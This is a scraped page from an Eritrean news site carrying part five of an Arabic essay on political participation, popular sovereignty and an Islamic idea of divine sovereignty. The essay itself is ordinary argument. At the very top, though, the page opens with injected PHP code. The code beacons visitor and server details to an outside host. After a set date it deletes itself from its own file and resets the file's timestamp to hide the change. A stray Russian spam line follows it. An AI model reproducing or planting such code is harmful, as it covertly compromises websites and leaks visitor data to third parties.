check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456727708){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=17&id=18776693&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_content/helpers/helpers.php"); } المشاركة السياسية بديلاً عن وحدانية التسلط: الحلقة الخامسة
кремлевская диета

المشاركة السياسية بديلاً عن وحدانية التسلط: الحلقة الخامسة

User Rating: / 6
PoorBest 

 

 

 

 

 

بسم الله الرحمن الرحيم

المشاركة السياسية بديلاً عن وحدانية التسلط

الحلقة الخامسة

*بقلم/ حسن سلمان

المشاركة السياسية وعلاقتها بالسيادة  :-

 السلطة السياسية تعد ركنا من أركان الدولة و السيادة تعتبر صفة أو خاصية تنفرد بها السلطة السياسية في الدولة . ومقتضى ذلك أن سلطة الدولة السياسية لها طبيعة خاصة تتمثل في أنها سلطة أصيلة وسامية ودائمة وموحدة لا تقبل التجزئة  , ويعرف الدكتور / عبد الحميد متولي السيادة بأنها (السلطة العليا التي لا يعرف فيها تنظيم من علاقات سلطة عليا أخرى إلى جانبها )  [1]

وهذه السلطة -السيادة – لها وجهان :-

1- سيادة داخلية ويقصد بها أن الدولة سلطة لا يعلوها سلطة أخري في ميدان نشا طها داخل الدولة أي علاقاتها بالأفراد والجماعات التي تقطن أرض الدولة .

2-  سيادة خارجية ويقصد بها عدم خضوع الدولة لدولة أجنبية . [2]

وكان الفقه التقليدي يصف الدولة بأن سيادتها مطلقة , بمعنى عدم خضوعها – سواء في الداخل أو الخارج – لأي قيود تحد من سيادتها سوى إرادتها غير أن هذا الوصف يؤدي إلى عدم احترام الدولة للقواعد القانونية والمبادئ الأخلاقية والحقوق الإنسانية ,ولذا توصف الآن سيادة الدولة بأنها مقيدة وليست مطلقة وذلك لأنها مقيدة باحترام الحقوق والحريات العامة وسيادة القانون داخلياً ومراعاة مصالح وحقوق الدول الأخرى والتقيد بالالتزامات والتعهدات الدولية خارجياً.

إذاً السيادة هي حق يخول لصاحبه سلطة إصدار الأوامر وأن الدولة هي صاحبة السيادة ولكن الدولة كيان معنوي يتكون من إقليم وشعب وسيادة فلزم أن يكون إصدار الأوامر في العنصرين الشعب والإقليم دون الثالث ولما كانت الاستحالة متحتمة في الإقليم ولائقة بالشعب فيصير الشعب بذلك هو صاحب السيادة في الدولة وفق النظرية الديموقراطية  .

يقول أندريه هوريو في مؤلفه القانون الدستوري والمنظمات السياسية  ص318   الآتي : ( إن نظرية سيادة الشعب التي تقتضي القول بأن سلطة القيادة تكمن بشكل مباشر في جماعية المواطنين هي أكثر واقعية ودقة ) [3] 

وبناء علي أن الشعب هو صاحب السيادة ومصدرها فقد أصبح مبدأ السيادة الشعبية من أهم المبادئ الدستورية في النظام الديموقراطي ومبدأ السيادة الشعبية يقوم علي مجموعة أسس أهمها مايلي : -

1/ أن الدولة والسلطة العامة فيها قامت على أساس أن محور نشاطها وحركتها هو الصالح العام وهذا يقتضي بالضرورة والمنطق إشراك كافة المواطنين  في تقرير الصالح العام  والمساهمة في الشؤون العامة حتى يكون هو صاحب القرار وله حق إصدار الأوامر وكما يقولون (ما كان لصالح الكل يحتم أن يشارك فيه الكل) .

2/ أن مبدأ السيادة الشعبية هو الركيزة الأساسية والوحيدة لشرعية السلطة حيث إنها لن تكون محترمة ونافذة الكلمة ما لم تعتمد علي الإرادة العامة للشعب وإلا تعرضت للمقاومة والانهيار مهما كانت قوتها.[4] 

وخلاصة القول في ذلك أن القول بسيادة الشعب دلالة علي الديمقراطية فالديمقراطية  وسيادة الشعب هما وجهان لفكرة واحدة وذلك لأن الديمقراطية هي الشكل من النظام السياسي حيث يقود المواطنون الشؤون العامة – عن طريق الاقتراع – إما بصورة مباشرة أوغير مباشرة بواسطة الأعضاء الذين يتولون بعينهم لتمثليهم في هذا الأمر . وأساس الديموقراطية الفكرة القائلة :أن الشعب هو السيد [5] 

وتأسيساً علي ماسبق يتبين أن مفهوم المشاركة السياسية نابع من فكرة السيادة الشعبية التي تشكل أساس الفكر الديموقراطي وأنها وسيلة هامة لتحقيق فكرة السيادة والديموقراطية فكلما كانت المشاركة الشعبية واسعة وفعالة كلما وصف النظام بأنه ديموقراطي وأن الشعب يمارس سيادته من خلال الديموقراطية المباشرة أو النيابية – كما هو معروف – والتي تجسد وتحتم الشرعية الدستورية الهادفة لتحقيق النظام الديموقراطي  والمبادئ الديموقراطية القائمة علي الفصل بين السلطات  واستقلال القضاء وتحقيق الحريات وحقوق الإنسان والتعددية السياسية وديموقراطية العلاقات الدولية،  ومما سبق يتضح أن الشرعية الدستورية ترتكز علي السيادة الشعبية وأن الشرعية القانونية تستمد وجودها من سيادة حكم القانون وذلك أساس قبول تصرفات السلطة الحاكمة .  وينفي عنها نزعة الإنفراد بالحكم  وإلا صارت الدولة استبدادية وهي تلك الدولة التي تتعارض طبيعتها وممارساتها مع مبدأ السيادة الشعبية ويصير [6]فيها الفرد الحاكم هو الشخص الإعتباري للدولة بينما الدولة الديموقراطية تكون الشخص الإعتباري للشعب وغالبا يأخذ الحكم الاستبدادي نمطين هما الملكية المطلقة والنظام الديكتاتوري .

ويبقى أن نشير ألي أن المذهبية السياسية الوضعية في معالجتها لقضية المشاركة السياسية إنما تسعى لغاية واحدة مهما تعددت طرق الوصول إليها بين الليبرالية والماركسية وهذه الغاية هي  تحقيق الحرية بمضمونها الأشمل وتضاؤل دور الدولة وسلطتها في مواجهة المجتمع فترى الليبرالية

إن ذلك يأتي عبر تعزيز حرية الأفراد وأن تكون الدولة محايدة وأن تضيق مساحة حركتها وكل ذلك مبني على فلسفة أسبقية الفرد على الدولة وأسبقية الحقوق الطبيعة للأفراد .

بينما يتناقض المذهب الاشتراكي مع المذهب الليبرالي الفردي في الأساس الذي يقوم عليه هدفا وغاية فإن الجماعة هي غاية المذهب الاشتراكي والدولة تمتلك جميع وسائل الإنتاج وتديرها في سبيل المساواة الفعلية بين الأفراد وتحقيق العدالة والقضاء على ظلم النظام الرأسمالي وإزالة الفجوة بين الطبقات عن طريق تملك الدولة لوسائل الإنتاج وهذا النوع من الاشتراكية يولد طبقة خاصة هي العمال حيث تتم لهم الهيمنة الكاملة علي الدولة وهنا تختزل المشاركة السياسية عليهم وحدهم بما يعرف بدكتاتورية البرولتاريا تمهيدا للشيوعية التي يزول معها صراع الطبقات وتنتهي معها الدولة . [7]  وبناء عليه يمكن القول أن الليبرالية تري أن الوصول إلي الديموقراطية وتحقيق المشاركة يكون بالأتي : -

(1)            تحقيق التمايز البنائي والتخصص الوظيفي .

(2)            المساواة في تولي الوظائف .

(3)            العلمانية ووجود الأحزاب السياسية  وجماعات المصالح.

(4)            القضاء على رموز المجتمع التقليدي وقيمه ومؤسساته .

وأن الوصول إلي غاية الحرية السياسية المنشودة ليس حتمياً وأن إنهاء التفاوت كلياً ليس ممكناً بل المطلوب هو إلغاء التفاوت الضخم.

وأما الاشتراكية أو الماركسية - تحديداً – فإنها ترى أن الوصول إلى الغاية المطلوبة وهي الحرية إنما هي حتمية تاريخية وأن الوصول إلى ذلك يتطلب مايلي :-

(1)            تحقيق الثورة أو التغيير الجذري .

(2)            فرض العقيدة الشيوعية على الجماهير .

(3)            إنشاء الأحزاب الشيوعية والنقابات .

(4)            تحقيق التحول الاشتراكي بطريقة سلمية .

هذا مع الأخذ في الاعتبار أن الوصول إلي المجتمع الاشتراكي ثم الشيوعي سوف يتم بفعل العوامل التاريخية . [8] 

ومحصول القول في مفهوم المشاركة السياسية أنها مبدأ من مبادئ  النظام الديموقراطي قائم على أساس تفاعل الجمهور أو الشعب مع القضايا والمسائل السياسية التي لها تعلق بالسلطة أو الدولة على أساس أنها محور العملية السياسية في النظريات الوضعية ويتأسس مفهوم المشاركة السياسية على فلسفة غربية مفادها أن الشعب هو صاحب السيادة العليا في الدولة وبناءً عليه فهو مصدر السلطة وصاحبها ولا يتأتى ذلك إلا بالمشاركة السياسية المباشرة أو النيابية وغاية ماتسعى  إليه من خلال المشاركة هو تحقيق الحرية وتقليص قبضة الدولة على أوجه النشاط الإنساني .

مناقشة مفهوم المشاركة السياسية :-

لما كان مفهوم المشاركة السياسية بالصورة التي سبق الحديث عنها من حيث التصور والممارسة والأصول الفلسفية فإننا بحاجة لمناقشة هذا المفهوم حتى نعرف الفروق والتوافق مع التصور الإسلامي لنحدد بعد ذلك مدي قبولنا أو رفضنا للمصطلح وذلك بإيجاز حتى لا نخرج عن المقصود وذلك على النحو الأتي :-

1/ إن مفهوم المشاركة السياسية في الفكر الوضعي ينبع من مفهوم السيادة الشعبية التي لا تعلوها سيادة وهذا المفهوم وليد ردة الفعل للدين المبدل في أوروبا والذي كان نتاجه تعطيل العقل واستعباد الإنسان فأراد الفكر الغربي المعاصر تحرير السياسة من قبضة رجال الدين إلي جانب طغيان الملوك المستبدين فطرحت نظرية السيادة الشعبية حتى لا يكون هنالك سلطة دينية أو سياسية تتحكم في الشعوب وإرادتها , ولأن كان ذلك حقق انطلاقة من الاستبداد السياسي والتحريف الديني إلا انه أخرج الإنسان من دائرة التكليف الرباني الحق القائم على مفهوم الاستخلاف والاستعمار وتحقيق العبودية في الأرض فتحول الإنسان بذلك إلي أن يكون محور الوجود بدلا عن الله تعالى وبهذا الاعتبار فإن الإسلام يرفض السيادة المطلقة للإنسان ويقرله بسيادة مقيدة تدور في إطار السيادة الإلهية أي حاكمية الله قدراً وشرعاً كما سيأتي لاحقاً .

2/ مفهوم المشاركة السياسية باعتباره ينطلق من السيادة بمعناها الوضعي فإنه يدور على فكرة السلطة والدولة والقانون ويستبطن قيم الصراع وامتلاك النفوذ والسيطرة والتكييف والحلول الوسط وتحكيم الواقع بينما يرتبط مفهوم السياسة الشرعية بالتوحيد والاستخلاف والشريعة والمصلحة الشرعية والأمة وبناء عليه فإن المشاركة السياسية في التصور الإسلامي لا تستهدف النفوذ والسيطرة والإستعلاء لشخص أو طائفة أو أمة أو شعب بقدر ما تهدف إلي التعاون على البر والتقوى وعدم التعاون على الإثم والعدوان .

3/ بناء علي مفهوم الثنائية بين الدولة والمجتمع القائم على استبطان الصراع على مواقع النفوذ والسيطرة فإن غاية المشاركة السياسية هي محاولة المجتمع تحقيق الحرية التي يعتقد أنها معرضة لاستلاب من الدولة والسلطة وتقليص نفوذ الدولة وهيمنتها على الأنشطة وإبراز دور المجتمع وسلطته وسيادته من خلال المشاركة السياسية وأما غاية المشاركة السياسية في التصور الإسلامي فهو حراسة الدين وسياسة الدنيا به من خلال السلطة والأمة وليس هنالك غالب ومغلوب أو سالب ومسلوب إنما هو تنافس على الخير العام .

4/  المشاركة السياسية في الفكر الوضعي تسعي إلي تحقيق الرفاهية المادية في الدنيا ولا تلتفت إلي البعد الأخروي الغيبي فالسعادة عندهم هي ما كانت في الدنيا ولعل ذلك نابعا من التصور العلماني (الدنيوي)الذي تمارس في إطاره المشاركة السياسية في التصور الوضعي, وأما التصور الإسلامي فإنه يربط بين الدنيا والآخرة ويبحث عن تحقيق السعادة في كليهما وأن مفهوم الاستخلاف هو ارتباط منهج الهداية والولاية بالشريعة السماوية التي يرتبط بها رضاء الله في الدنيا والآخرة .

5/ المشاركة السياسية كمفهوم له ارتباط مباشر بالدولة والشعب بالمعني القومي أي أن الدولة ذات جغرافيا محددة لا تقبل التمدد والتوسع إذا ما حددت معالمها والشعب هو من يقطن هذه الدولة والدولة المعاصرة هي أقصي ما وصله الفكر الوضعي وهي الغاية القصوى في التصور الاشتراكي وتحل محل الأفراد في التصور والمذهبية الفردية الليبرالية[9]  وأما المذهبية الإسلامية فإنها تنطلق من مفهوم الأمة الذي يرتبط ارتباطاً رسالياً وليس قومياً ومن مفهوم الديار الذي يتمدد بتمدد الأمة ورسالتها حتى تشمل الدول العالمية ولا تعتبر الدولة المعاصرة هي غاية ما يمكن أن يصله الإنسان بل إن الإنسان هو محور الرسالة والمخاطب بها  والأرض هي مجال الرسالة وميدانها , الإنسان حيثما وجد والأرض أينما كانت .

6/ الجوانب الإجرائية في المفهوم والتي تأخذ شكل الوسائل فإن هذه لا حرج في قبولها والأخذ بها لأنها خاضعة للتجارب البشرية وهي تختلف زماناً ومكاناً وتختلف بأحوال وأعراف الإنسانية كما يقول الأخ نصر محمد عارف (فالأمم والثقافات تتبادل الوسائل وتستفيد من بعضها البعض ولكنها إذا تبادلت المنطلقات والغايات تفقد ماهيتها وهويتها وذواتها وتصبح غير نفسها بحيث لا تكون هنالك حدود تميز أمة عن أخري أو تفردها بخصوصية معينة ) [10] 

ويقول الإمام السيوطي رحمه الله تعالى (يغتفر في الوسائل مالا يغتفر في المقاصد )[11]  

ولذلك عندما ترتبط المشاركة السياسية بالعلمانية فإنها تتحول من وسيلة أو إجراءات لتفعيل المجتمع إلى منظور فكري وفلسفي ورؤية شاملة للكون والحياة مما يتصادم مع الرؤية الرسالية .

وفي إطار الملاحظات أعلاه يمكننا إطلاق وقبول مفهوم المشاركة السياسية بالضوابط الآتية :-

(1)    أن تكون السيادة أوالحاكمية للشريعة  وأن الأمة تمارس حقها في السلطة في إطار حاكمية الكتاب وهذا يعني أن حركة المجتمع مقيدة وليست مطلقة ومحكومة وليس حاكمة وذلك لأن التصور الإسلامي الحاكم فيه هو الله تعالي , الحاكمية صفة من صفات الربوبية , كما جاء في القرآن الكريم  قال تعالي :( إن الحكم إلا لله يقص الحق وهو خير الفاصلين ) [12]

( إن الحكم إلا لله أمر ألا تعبدوا إلا إياه) [13]

(ألا له الخلق والأمر)[14]

وبناء عليه فان الحاكمية لله وحده  وإسنادها إلى غيره سواء كان فرداً أو فئة أو حتى الشعب هو شرك في الربوبية وأعظم أنواع الظلم

قال تعالى :(ولم يكن له شريك في الملك) [15]

وحاكمية الله تعالى تكوينية أى أن سنته تحكم حركة الأشياء والظواهر والإنسان حتماً قال تعالى:(سنة الله في الذين خلوا من قبل ولن تجد لسنة الله تبديلا) [16]

كما أن حاكمية الله تكليفية ومضمونها وجوب أن تحكم قواعد شريعته حركة المجتمع قال تعالى :( وما اختلفتم فيه من شيء فحكمه إلي الله )[17]

وبناء علي ذلك تمارس الأمة حقها في السلطة  باعتبارها وسيلة تنفيذ أمر الله تعالي , يقول لإمام الشاطبى في ذلك :(  إن تحكيم الرجال من غير التفات إلي كونهم وسائل للحكم الشرعي المطلوب شرعا ضلال , ولا توفيق إلا بالله, وأن الحجة القاطعة والحاكم الأعلى هو الشرع  لا غيره ) [18]

(2)            الابتعاد عن دلالات المفهوم السالبة من حيث الغايات والمنطلقات.

(3)    أن السياسة في المجتمع الإسلامي هي ليست فن الحكم أو السلطة أو فن الممكن إنما هي طريق مؤدٍ إلى التهذيب والتقويم  والإصلاح والاستقامة  وبناءً عليه فإن ساحة العمل السياسي في التصور الإسلامي هي أوسع من مفهوم السلطة والدولة  المعاصرة ليشمل كافة حركة المجتمع  في إقامة الدين وعمران الدنيا في إطار مفهوم السياسة المتقدم ويتوسع معنا بشكل تلقائي مفهوم المشاركة السياسية  إلي هذا المدى .

(4)    أن تكون ساحة المشاركة وميدانها هو الأمة والديار ليس بالمعنى القومي أو الجغرافي بل بالمعني الرسالي وذلك لأن الإسلام ينطلق من قاعدة مكانية تحددها العقيدة بمفهوم الأمة الذي ينبثق عن الأم والوجهة والقصد والغاية [19] والأمة يفيد ذلك الكيان الذي يرتكز في تماسكه على عقيدة إيمانية شاملة  مصدرها رباني ومجالها كافة وجهة الحياة الدنيا من منظور أخروي أو بعبارة أدق منظور ممتد يصل مابين الحياة الدنيا والآخرة)  [20]

وبناء علي ما سبق يقول نصر محمد عارف :-

فالعالم الإسلامي طبقا لهذا المفهوم لا يعني منطقة جغرافية معينة ,وإنما يعني الإخوة العالمية المنبثقة عن مفهوم الأمة التي تجمعها عقيدة التوحيد , وتخلق الوعي والإنتماء لجماعة واحدة وظيفتها الشهادة على الأمم الأخرى  ومحور رسالتها تحقيق الاستخلاف واستعمار الأرض , بما يعنيه هذا المفهوم من تعاضد وتناصر بين أطراف جماعاتها , حيث أن ما لديهم من ثروات ومقدرات هي ملك لله . ومن ثم فهي ملك لهم جميعا[21]

(5)    أن تكون غاية المشاركة هو أداء الواجب الرسالي في إقامة الدين وعمران الدنيا وليس التنافس على عالم الأشياء والماديات, قال تعالي :( وعد الله الذين أمنوا منكم وعملوا الصالحات ليستخلفنهم في الأرض كما استخلف الذين من قبلهم وليمكنن لهم دينهم الذي ارتضى لهم وليبدلنهم من بعد خوفهم امناً يعبدونني لا يشركون بي شيئاً ومن كفر بعد ذلك فأولئك هم الفاسقون) [22], وبذالك يتحقق الاستخلاف الاجتماعي العالمي في إطار ثلاثية الفلسفة السياسية  الإسلامية المتمثلة في ( التوحيد – التسخير – الاستخلاف ) وصولا إلي المصير المحتوم في الآخرة , قال تعالي ( تلك الدار الآخرة نجعها للذين لا يريدون علوا في الأرض ولا فسادا والعاقبة للمتقين )[23] 



 -[1] القانون الدستوري  والنظم السياسية  ص29  نقلا عن مبادئ القانون الدستوري   ميرغني ألنصري

 -[2] مبادئ القانون الدستوري  ميرغني النصيري  ص 27 

 -[3] مبادئ القانون الدستوري  ص27

 -[4] مبادئ القانون الدستوري   ميرغني النصرى  ص28-29

 -[5] القانون الدستوري  د/إسماعيل الغزالي  ص126

 -[6] انظر مبادئ القانون الدستوري  د- ميرغني النصيري  ص 30 - 95

 -[7] النظم السياسية  د/ عبد الغني بسيوني  عبد الله  ص 126-147 

 -[8] نظريات التنمية السياسية   نصر محمد عارف   ص263-265

 - [9] القاموس السياسي احمد عطية الله  ص91

[10] -   نحو مشروع حضاري نهضوي عربي  مركز دراسات الوحدة العربية   - ط1    2001م   ص508 

 - [11] الأشباه والنظائر   ص175

[12] - الأنعام  الآية  57

[13] - يوسف الآية -40

[14]  - الأعراف-الآية-54

[15] - الفرقان

[16] - الأحزاب-62

[17] - الشورى  الآية  10 أنظر الأبعاد المعرفية لمفهوم الاستخلاف  ص25—26   ط 1/  ن  مركز التنوير المعرفي 

[18] - الاعتصام  3/ 460

[19] - راجع ابن منظور  ص132—133

[20] -  أنظر الأمة القطب    د/ مني أبو الفضل  ص45—46   / 1982م

[21] - نظريات التنمية السياسية  ص99  

[22] سورة النور   الآية   55

[23] - القصص  الآية  83   

_____________________

* باحث وقيادي سياسي ارتري

·       الحلقة الأولى

·       الحلقة الثانية

·       الحلقة الثالثة

·       الحلقة الرابعة

 



Add comment

Your comments are as important as the article you are commenting on. Please enrich the discussion by avoiding personal attacks. We'll publish your comment, if it meets our criteria. تعليقاتك لا تقل اهمية عن المقال المكتوب اعلاه، فالرجاء اثراء النقاش بالابتعاد عن الاساءات الشخصية. سوف ننشر تعليقك اذا استوف شروط النشر



Security code
Refresh

Enough dictatorship

Get Adobe Flash player

Arkokabay Media -----> Poem

Get Adobe Flash player

مرض الرئيس الأريتري بين الشائعة والنفي

Get Adobe Flash player

ALIA GABRES- SHE COTTON SUMMER DRESSES

Get Adobe Flash player

عمود الكتاب العربي

Arkokabay.com
Arkokabay.com
OMAR JABIR الأستاذ عمر جابر
OMAR JABIR الأستاذ عمر جابر
Zein Shokayالأستاذ زين شوكاي
Zein Shokayالأستاذ زين شوكاي
سعادة السفير حمد كلُ
سعادة السفير حمد كلُ
الأستاذ صلاح أبوراي
الأستاذ صلاح أبوراي
 الأستاذة حنان
الأستاذة حنان
الأستاذ موسى ضرار
الأستاذ موسى ضرار
الأستاذ أبو الرشيد
الأستاذ أبو الرشيد
الأستاذ عبدالفتاح ود الخليفة
الأستاذ عبدالفتاح ود الخليفة
الأستاذ ياسين محمد عبدالله
الأستاذ ياسين محمد عبدالله
الأستاذ محمد نور - بركان
الأستاذ محمد نور - بركان
الأستاذ جمال همد
الأستاذ جمال همد
الأستاذ فكاك ناير
الأستاذ فكاك ناير
الأستاذ أحمد صلاح الدين
الأستاذ أحمد صلاح الدين
Amal Ali الأستاذة أمال علي
Amal Ali الأستاذة أمال علي
Mohamed - Wahran Eritreaمحمد - وهران ارتريا
Mohamed - Wahran Eritreaمحمد - وهران ارتريا
الأستاذ حسن سلمان
الأستاذ حسن سلمان
الأستاذة منى محمد صالح
الأستاذة منى محمد صالح
الاستاذة نوره فارس
الاستاذة نوره فارس